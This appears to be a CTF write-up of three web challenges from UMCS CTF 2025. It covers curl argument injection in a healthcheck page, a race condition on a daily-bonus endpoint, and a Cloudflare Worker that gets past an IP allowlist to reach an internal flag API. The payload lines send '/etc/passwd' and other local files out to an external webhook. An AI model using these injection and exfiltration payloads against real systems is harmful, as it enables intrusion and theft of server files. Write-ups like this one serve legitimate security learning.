> For the complete documentation index, see [llms.txt](https://ymiir.gitbook.io/nota/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ymiir.gitbook.io/nota/2025-stuff/ctf-writeup/umcs-ctf-2025.md).

# UMCS CTF 2025

Jeopardy Writeup Qualifier - SCORP10N

> The event featured challenges in Web, Pwn, Reverse Engineering, Steganography, and Forensics. After a long break from CTFs, this was a great chance to push my limits, take on some tough problems, and reassess where I stand in terms of skills and problem-solving.

> In this writeup, I will focus on Web Exploitation.&#x20;

## Challenge – *healthcheck*

> **Description:**\
> “*I left my hopes\_and\_dreams on the server. can you help fetch it for me?.*”
>
> **Link/File:** <https://github.com/umcybersec/umcs\\_preliminary/tree/main/web-healthcheck>
>
> **Points:** Dynamic (216 – 43solved)
>
> Solve by : smallcurl
>
> **FLAG:** *umcs{n1c3\_j0b\_ste4l1ng\_myh0p3\_4nd\_dr3ams}*

We are given only one file name as `index.php` which contains both PHP and HTML components.&#x20;

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FWvX15V8qQVW8cpjpUuMJ%2Fimage.png?alt=media&amp;token=55670c8a-8e65-4e79-962e-24d0d3ff1b14" alt=""><figcaption></figcaption></figure>

Upon analysing the source code, we can see that the most common command injection techniques are effectively blocked. The usage o&#x66;*`shell_exec`* is handled with certain precautions to prevent direct exploitation.

The key issue lies in the command construction. Although basic injection vectors are blocked, the script allows `curl` to fetch arbitrary resources, which can be abused to read local files.

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FEPpFDZS12UiH9IyPDuEz%2Fimage.png?alt=media&amp;token=b0053d95-63af-463d-bd0b-f967a64b3f12" alt=""><figcaption></figcaption></figure>

By leveraging `curl --data @<file>` syntax, we can attempt to read arbitrary files on the server. However, there’s a limitation: the command appends a *`grep -sF`* at the end, which suppresses the output and only returns the status code.

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FNmbnuWE7nzD4iLXb25Uf%2Fimage.png?alt=media&amp;token=c12170e5-05dc-4791-97b2-7e1f5f62fe8a" alt=""><figcaption></figcaption></figure>

To bypass this limitation, we can use an Out-Of-Band (OOB) technique, such as sending the content to an external webhook (like [webhook.site](https://webhook.site)).

This way, instead of relying on the command's direct output, we can exfiltrate the contents of the file to our webhook.

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FEc5AUyZGA7Qb2AgdKSg2%2Fimage.png?alt=media&amp;token=d3bdc33b-2485-4d00-89e8-1bba1ea10d8f" alt=""><figcaption></figcaption></figure>

We can use any file path with th&#x65;*`--data @<file>`* structure. Once the request is triggered, the file content will be sent to the webhook and can be viewed externally.

#### Final payload

```bash
https://webhook.site/xxxx/?cc= --data-binary @/etc/passwd
https://webhook.site/xxxx/?cc= --data-binary @/var/www/html/hopes_and_dreams
```

{% hint style="info" %}
Not limited to --data, it can be any data such as data-binary.
{% endhint %}

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FZ5CGDSVVKny5G0zmZ0O6%2Fimage.png?alt=media&amp;token=19ca9bb3-cb43-4245-b445-0d80f08600ed" alt=""><figcaption></figcaption></figure>

***

## Challenge  – *straightforward*

> **Description:**\
> “*Test out our game center. You'll have free claiming bonus for first timers!*
>
> *Author: vicevirus*
>
> **Link/File:** straightforward\_player.zip
>
> **Points:** Dynamic (412)
>
> Solve by : smallcurl
>
> **FLAG:** *UMCS{th3\_s0lut10n\_1s\_pr3tty\_str41ghtf0rw4rd\_too!}*

We are provided with a zip file named straightforward\_player.zip, which contains the full source to this application.

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FQ8mf7cG9NY38WGtRVNUX%2Fimage.png?alt=media&amp;token=a0b9163e-59e8-40cb-8b0a-2199084f72bb" alt=""><figcaption></figcaption></figure>

Starting with the analysis of the app.py file, since this was the main file in Python.

·       GET /claim: Increases balance by 1000 coins but is limited to once per day.

·       GET /buy\_flag: Allows purchasing the flag if the balance is ≥ 3000.

The problem was, we could only claim once a day, but the flag price is 3000, which makes us kind of short.

The challenge lies in the daily restriction enforced on the /claim endpoint. Since we can only claim once per day, it seems impossible to reach the required 3000 coins needed for `/buy_flag` in a short timeframe.

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FHUGqHsjqUjuoGSraETkv%2Fimage.png?alt=media&amp;token=eea531a9-a776-4607-8ccb-fc10f604a6a5" alt=""><figcaption></figcaption></figure>

The vulnerability arises because the application increases the user's balance, but there is a delay before the updated state is written to the database. This delay creates a critical window where multiple concurrent requests to `/claim` can be made, all referencing the original balance.

By sending multiple simultaneous requests to `/claim`, we can effectively bypass the "once-a-day" restriction. This technique is known as a Race Condition.

With just 3 successful race wins, we increased the balance from 0 → 3000, allowing us to access /buy\_flag and retrieve the flag.

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FWWLK1YbSU8QejQktBGJk%2Fimage.png?alt=media&amp;token=43584d64-b69c-4879-a8c3-f14d71a7f102" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Ps: For remote, we need to change the range to a higher number (1000) due to some traffic and request issues that might delay our progress leading to unsuccessful request.
{% endhint %}

***

## Challenge  – *Microservice*

> I have made a simple microservices application. Seperation of concerns at its finest!
>
> Author: vicevirus&#x20;
>
> Flag format: UMCS{…}
>
> Link: <http://microservices-challenge.eqctf.com:7777/api/quotes>
>
> Doesn't manage to solve during competition, but I think this was a very good challenge that is applicable to real life.
>
> Thanks to benkyou and vicevirus for helping me solving this challenge.

In this challenge, we are provided with the source code for the application. The system architecture consists of three main components:

1. A frontend proxy built with Node.js that serves as the user-facing interface.
2. Two backend services:
   * A **Quotes API**, which the frontend interacts with.
   * A **Flag API**, which is accessible only internally via Nginx.

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2F0XzHj4JgBy2oRWlAxRLD%2Fimage.png?alt=media&amp;token=01b7040d-9734-4219-bdf6-01ef1fed200d" alt=""><figcaption><p>proxy</p></figcaption></figure>

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FdbiPJyzD37olcFOrTaxX%2Fimage.png?alt=media&amp;token=d61895a8-8b9b-4d3e-883b-6b91a4bed958" alt=""><figcaption><p>flag</p></figcaption></figure>

The key detail is that the frontend proxy only communicates directly with the Quotes API, while the Flag API is isolated and intended to be unreachable from the public interface.

During local testing with Docker, we can retrieve the flag by making a direct request to `http://127.0.0.1:5555/flag`. However, attempting the same request on the live challenge server does not succeed.

Given that external access is limited to the frontend proxy, the first idea that came to mind was exploiting a **Server-Side Request Forgery (SSRF)**. Unfortunately, the application doesn't accept any user-controlled input that could be used to trigger such behavior. I also explored the possibility of **HTTP request smuggling**, but after a deep dive, it became clear that this technique does not apply to the current setup.

Upon reviewing the Nginx configuration files, the following block stood out as potentially significant:

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FwmbqHzrrIEw2QePqOqVn%2Fimage.png?alt=media&amp;token=f20de25b-62a0-442e-ae05-39e0e2420fd6" alt=""><figcaption></figcaption></figure>

Digging deeper, we observed that the proxy is configured to accept connections from **Cloudflare's IP address ranges**, which are commonly used for traffic routing and protection. This presents a potential avenue for bypassing the restriction: if a request appears to originate from one of Cloudflare's trusted IPs, Nginx will allow it through to the backend.

Initially, I attempted to use **DNS Rebinding and Re-route VPS to Cloudflare**, hoping it would route requests through the allowed address space. However, the technique uses a different IP range that was **not included** in the allowlist, so that method didn’t work.

The solution was to leverage **Cloudflare Workers**—a serverless platform that runs on Cloudflare's infrastructure and inherently uses IPs from their trusted pool. By crafting a Cloudflare Worker to send a request to the Flag API endpoint, I was able to successfully retrieve the flag.

```javascript
export default {
    async fetch(request, env, ctx) {
      const response = await fetch("http://microservices-challenge.eqctf.com:5555/flag", {
        method: "GET",
        headers: {
          "Accept": "application/json",
        },
      });
  
      const data = await response.text();
      return new Response(data, {
        headers: { "Content-Type": "text/plain" },
      });
    },
  };
```
